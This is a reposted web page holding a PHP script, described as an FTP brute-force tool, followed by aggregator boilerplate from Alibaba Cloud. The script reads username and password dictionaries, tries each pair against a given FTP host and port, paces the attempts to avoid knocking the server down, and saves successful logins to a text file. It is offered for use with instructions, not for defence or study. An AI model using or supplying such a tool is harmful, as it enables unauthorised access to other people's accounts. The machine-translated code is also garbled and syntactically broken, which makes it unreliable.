Brute force FTP username and password (PHP files)

Source: Internet
Author: User
& Lt ;? Php // Usage: php this file. phpFTP IP port user dictionary password dictionary, example: phpftp. php192.168.8.1021user. dicpass. dic. The user name and password can be changed to OK .txt in the same directory in seconds. // Use different user names and N password pairs respectively

// Usage: php file. php ftp ip port user dictionary password dictionary, example: php ftp. php 192.168.8.10 21 user. dic pass. dic. The user name and password can be changed to OK .txt in the same directory in seconds.


// Obtain the corresponding usernames and N passwords respectively.
$ User = file ($ _ SERVER ["argv"] [3]);
$ Pass = file ($ _ SERVER ["argv"] [4]);
$ Countuser = count ($ user );
$ Countpass = count ($ pass );
$ N = 0;
Do
{


For ($ I = 0; $ I <$ countpass; $ I = $ I + 1 ){
Echo "$ user [$ n], $ pass [$ I]";
Ftplogin ($ user [$ n], $ pass [$ I]); // call the ftp function
Sleep (5); // prevents ftp from being down for 5 seconds.
Continue;
}
$ N ++;
}
While ($ n <$ countuser );

// Ftpflood, successfully writes the user name and password to the OK .txt in the current directory
Function ftplogin ($ username, $ password ){
// Global $ username, $ password;
$ Host = $ _ SERVER ["argv"] [1];
$ Port = $ _ SERVER ["argv"] [2];
$ Conn = ftp_connect ($ host, $ port );
If (! $ Conn ){

Echo "unable to connect to FTP ";
Exit;
}
@ $ Result = ftp_login ($ conn, $ username, $ password );
If (! $ Result ){
Echo "error ";
Ftp_quit ($ conn );
}
Else {
Echo "----------------------------------> OK ";
Fputs(fopen( OK .txt, a +), "username:". $ username. "password:". $ password );
}
}

?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.